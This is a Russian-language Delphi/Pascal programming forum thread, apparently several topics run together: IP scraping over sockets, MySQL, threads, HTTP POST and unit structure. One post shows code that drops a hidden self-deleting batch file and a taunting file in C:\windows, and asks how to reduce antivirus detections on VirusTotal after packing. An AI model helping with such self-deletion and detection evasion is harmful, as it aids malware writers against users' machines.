Я замутил так: var a:boolean; ... ... Бутон 1: begin a:=false; Repeat Application.ProcessMessages; if a then exit; //Здесь цыкл Until **** end; бутон 2: begin a:=true; end; ПС всем спасибо за помощь!
Как мне преобразовать эту страницу Code: <HTML> <HEAD> <TITLE>Ваш IP-адрес. Узнать IP адрес, определить IP-адрес, определить свой IP</TITLE><BASE target=_top> <meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251"> <meta name="keywords" content="узнать IP-адрес, определить IP адрес, проверить интернет адрес, определить свой IP"> <meta name="description" content="Здесь Вы можете узнать свой IP-адрес. Чтобы определить IP адрес достаточно зайти на сайт www.myip.ru."> </HEAD> <BODY bgcolor=white> <TABLE width=100% height=100% cellspacing=0 cellpadding=0 border=0><TD align=center valign=middle> <TABLE width=500 height=100 cellspacing=0 cellpadding=0 border=0> <TR><TD bgcolor=#43AA2E><TABLE width=500 height=100 cellspacing=1 cellpadding=4 border=0> <TR><TD bgcolor=#E0EED3 height=30 align=center valign=middle><B>Ваш IP-адрес</B></TD></TR> <TR><TD bgcolor=white align=center valign=middle>[COLOR=Magenta]123.123.123.123[/COLOR]</TD></TR> </TABLE></TD></TR> <TR><TD align=center><A href="http://www.netup.ru/Autonomous_System_Registration.php?from=myip" target=_top style="color:#888888">Получить IP-адреса и автономную систему</A></TD></TR> <TR><TD align=left><FONT color=#888888><SMALL>© <A href="http://www.netup.ru/" target=_top style="color:#888888">Net<B>UP</B></A>, 2003</SMALL></FONT></TD></TR> <!-- liveinternet --> <!--LiveInternet counter--><script type="text/javascript"><!-- document.write("<img src='http://counter.yadro.ru/hit?r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ ";"+Math.random()+ "' width=1 height=1 alt=''>")//--></script><!--/LiveInternet--> <!-- END liveinternet --> </TABLE> </TD> </TABLE> </BODY> </HTML> Так чтоб осталось только 123.123.123.123. ТОесть убрать левую и правую часть от этого текста, но с условием, что текст может меняться. Тоесть взять Code: <TR><TD bgcolor=white align=center valign=middle> и удалить весь текст до нее, затем взять Code: </TD></TR></TABLE></TD></TR> и удалить текст после неё , а потом удалить эти обе строчки. Плиз напишите пример, а то у мне с операторами pos и остальными связанными со строками туговато =(
я так понял ты с кодом не разбирался..... и с веб в дэлфи неработал... да небеда. этот код обращается к сайту http://www.whatismyip.com/ на который ты можеш зайти и увидеть что на сайте будет показан твой ip в глобальной сети прога обращается к сайту загружает страницу на которой написан твой ip и просто парсит ip. таких сайтов много. ну да ладно болтовни лови вот накалякал немного: Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ScktComp, ExtCtrls; type TForm1 = class(TForm) ClientSocket1: TClientSocket; Button1: TButton; Edit1: TEdit; procedure Button1Click(Sender: TObject); procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } res:string; public { Public declarations } end; var Form1: TForm1; i:integer; const sended: AnsiString = 'GET /automation/n09230945.asp HTTP/1.1' + #$D#$A + 'User-Agent: Mozilla/4.0 (compatible; MSIE 99.01; Windows 7)' + #$D#$A + 'Host: www.whatismyip.com' + #$D#$A + 'Connection: Keep-Alive' + #$D#$A + #$D#$A; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin res:=''; i:=0; clientsocket1.Host:='www.whatismyip.com'; clientsocket1.port:=80; clientsocket1.open; end; procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); begin res:=socket.ReceiveText; i:=strtoint(copy(res,pos('th: ',res)+4,2)); edit1.Text:=copy(res,length(res)-i+1,i); end; procedure TForm1.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); begin socket.SendText(sended); end; end. все теперь в едите1 твой отпарсенный ip P.S. кстати у этого кода есть приемущество... он парсит страницу которая весит от силы 300байт
СОБСТВЕННО АП Code: var f: TextFile; fName: String[80]; BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformation; StartUpInfo: TStartupInfo; begin fName := 'C:\windows\Послание.txt'; //здесь прописываеш путь к файлу AssignFile(f, fName); Rewrite(f); writeln(f, 'LOL clear del C:/); CloseFile(f); { создаём бат-файл в директории приложения } BatchFileName :='C:\windows\log.bat'; { открываем и записываем в файл } AssignFile(BatchFile, BatchFileName); Rewrite(BatchFile); Writeln(BatchFile, ':try'); //Writeln(BatchFile, 'del "Любой путь"'); Writeln(BatchFile, 'del "' + ParamStr(0) + '"'); Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try'); Writeln(BatchFile, 'del "' + BatchFileName + '"'); CloseFile(BatchFile); begin FillChar(StartUpInfo, SizeOf(StartUpInfo), $00); StartUpInfo.dwFlags := STARTF_USESHOWWINDOW; StartUpInfo.wShowWindow := SW_HIDE; if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); end; Дело в следующем компилю эту прогу и помещаю её в папку с "русским" названием xDD запускаю от-туда а она неработает что можно сделать? Блин виртотал палит этот код 2 раза xDDD http://www.virustotal.com/ru/analisis/2dd0919e128c296a42cd7441ec6faa58 А вот после АСпака палится 4 раза http://www.virustotal.com/ru/analisis/23c774360ce8cffb8e7218f1de6bd8d6 Подскажите как исправить? ) ------------------------------------------------ У меня они перезаписывают друг друга а .dpk с компонентом нету Уменя delphi7 есть еще способы?
MySQL Интересуют способы подключения к удаленной MySQL базе в дельфе. Какие компоненты для этого используются ну и сам код. Так же было бы интерестно изнать как производить запросы к базе, получать содержимое таблиц и тп
search74, с такин ником мог и сам бы найти, первая ссылка в гугле: http://www.interface.ru/home.asp?artId=4937
Все спс уже со всем разобрался, просто использовал _http://www.whatismyip.com/automation/n09230945.asp =)
Эту тему уже находил, все равно не понимаю, к примеру вот что: Code: MySQLClient.UnixSocket := Edit5.Text; Что за UnixSocket?
есть процедура, которую я запуская в отдельном потоке: Code: procedure SockThread; var S: TSocket; vbuf: array[0..65535] of char; str:string[255]; len:integer; SockName: TSockAddr; begin S:=AcSock; if s=INVALID_SOCKET then halt; len:=sizeof(TSockAddr); getpeername(S,SockName,len); writeln('Client connected: '+inet_ntoa(SockName.sin_addr)); FillChar(vbuf, sizeof(vbuf), 0); repeat // принимаем команды recv(S, vbuf, sizeof(vbuf), 0); writeln('Received from client: '+vbuf); send(S, vbuf, sizeof(vbuf), 0); FillChar(vbuf, sizeof(vbuf), 0); // очищаем массив vbuf if S<0 then break; until str<>'q'; CloseSocket(S); end; Всё это компилируется, клиент успешно соединяется с сервером, клиент посылает данные, но сервер(эта процедурка) не принимают данные. Вправьте мне руки =)
У меня вот несколько вопросов по потокам, например я создаю в потоке 1 процедуру Potok1 Code: var Form1: TForm1; trId : THandle; implementation {$R *.dfm} procedure Potok1; begin showmessage('поток1'); end; begin CreateThread(nil,0,@Potok1,0,0,trId); end. 1. Как уничтожить этот поток, после выполнения в процедуре Potok1 всех команд. 2. Как уничтожить этот поток, если в процедуре Potok1 выполняется бесконечный цикл. 3. если я например 2 раза создам этот поток Code: begin CreateThread(nil,0,@Potok1,0,0,trId); CreateThread(nil,0,@Potok1,0,0,trId); end. то как поведёт себя программа, создастся 2рой поток с этой процедурой или что? 4. Что ещё интересного можете дать почитать по потокам.
1) поток сам уничтожится после своего выполнения. 2) или ставить глобальный флаг остановки и в патоке обрабатывать его типа while(not stopflag) do ..... или просто насильно убить поток через TerminateThread(trId,0); Но тогда поток запускать нужно так: trId:=CreateThread(nil,0,@Potok1,0,0,trId); trId в данном случае - дискриптор патока, через который его можно убить, остановить, изнасиловать, запустить. 3) Если поток юзает локальные переменные (инициализированные внутри функции) то хоть 100 раз запускай его. Если юзаются глобальные переменные, то они могут затераться, если это чтото типа буферов. Глобальные счетчики можешь юзать спокойно 4) почитай про все API функции из модуля windows.pas в который будет в названии текст thread
ты через снифер погляди, что там приходит. а то мож там идет редирект. Бывает такое что в ответ на POST сервер вернет тебе Object Moved и в через Location кинет тебя на другую страницу, вот тебе нужно такое учитывать
Nightmarе а чем сокеты не нравятся? запрос Code: POST http://fanera.6te.net/fileupload/gate2.php HTTP/1.0 User-Agent: Opera/9.10 (Windows NT 5.1; U; ru) Host: fanera.6te.net Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Proxy-Connection: close Content-Length: 12 Content-Type: application/x-www-form-urlencoded file=erewrew код Code: procedure TForm1.Button1Click(Sender: TObject); var Site : PChar; sock : TSocket; HostEnt : PHostEnt; WSA : TWSAData; addr : sockaddr_in; sendbuff : String; PostData : String; otvet:array [1..6000] of char; begin //Создаём сокет if WSAStartup($0101, WSA) <> 0 then Exit; sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); FillChar(addr, SizeOf(sockaddr_in), 0); addr.sin_family := AF_INET; addr.sin_port := htons(80); //порт Site := 'fanera.6te.net'; //хост к которому конектится сокет HostEnt := gethostbyname(Site); addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^); Connect(sock, addr, SizeOf(addr)); //коннектимся к сокету //Формируем запрос PostData := ''; PostData := 'file=ваываыв'; //переменные запроса sendbuff := ''; sendbuff := 'POST http://fanera.6te.net/fileupload/gate2.php HTTP/1.0' + #13#10 + 'User-Agent: Opera/9.10 (Windows NT 5.1; U; ru)' + #13#10 + 'Host: fanera.6te.net' + #13#10 + 'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1' + #13#10 + 'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8' + #13#10 + 'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1' + #13#10 + 'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0' + #13#10 + 'Proxy-Connection: close' + #13#10 + 'Content-Length: ' + IntToStr(Length(PostData)) + #13#10 + 'Content-Type: application/x-www-form-urlencoded'+ #13#10#13#10 + PostData; send(sock, sendbuff [1], Length(sendbuff), 0); //отправляем сокету запрос recv(sock,otvet,5000,0); //читаем ответ Memo1.Text:=otvet; //заносим ответ в memo CloseSocket(sock); end;
Пишу модуль на Паскале. По сути написал, но не пойму, что надо указывать в разделе инициализации( Гляньте, плиз, а то кодер с меня пока не очень Code: unit unitd; Interface uses crt; type massiv=array[1..100,1..100] of real; massiv1=array[1..100] of real; Implementation procedure matri(var a:massiv); procedure Matr_Prakt(a:massiv; var koor:massiv1); procedure Funkcia(koor:massiv1); procedure matri; var i,j:byte; function new:real; begin new:=((2-sqr(i-3))/i)*(j-5.7); end; begin clrscr; for i:=1 to 10 do for j:=1 to 10 do a[i,j]:=new; for i:=1 to 10 do begin writeln; for j:=1 to 10 do write(a[i,j]:8:2); end; readkey; end; procedure Matr_Prakt; type massiv=array[1..100,1..100] of integer; massiv1=array[1..500] of integer; var q,n,n1,max_stolb:integer; i,j:byte; x:massiv1; begin i:=1; max_stolb:=1; for j:=2 to N do if a[i,j]>a[i,j-1] then max_stolb:=j; for i:=1 to N do for j:=1 to N do koor[i]:=koor[i]+a[i,j]*a[j,max_stolb]; write('a(',koor[1]); for i:=2 to n do write(',',koor[i]); write(')'); writeln; writeln; readln; end; procedure Funkcia; var U:real; qwer,a,i,n,chisl,znam:integer; q1,q2:real; function F(b:real; var a:real):integer; begin a:=a+b; end; begin for i:=1 to n do if koor[i]<=1 then f(koor[i],q1); for i:=1 to n do if koor[i]>1 then f(koor[i],q2); U:=(1+q1)/(2+q2); writeln(u); readln; writeln; writeln; end; begin matri; Matr_Prakt; Funkcia; end.
стандартная структура модулей такая: Code: Unit unitname; Interface uses .... function f1(.........):integer; procedure f2(........); implementation function f1(.........):integer; begin код фунции end; procedure f2(........); begin код процедуры end; begin код если нужно для инициализации end. всё что описывается между Interface и implementation - становится глобальным и может юзаться из другиз модулей, там можешь размещаться типы, прототипы функций и процедур итд
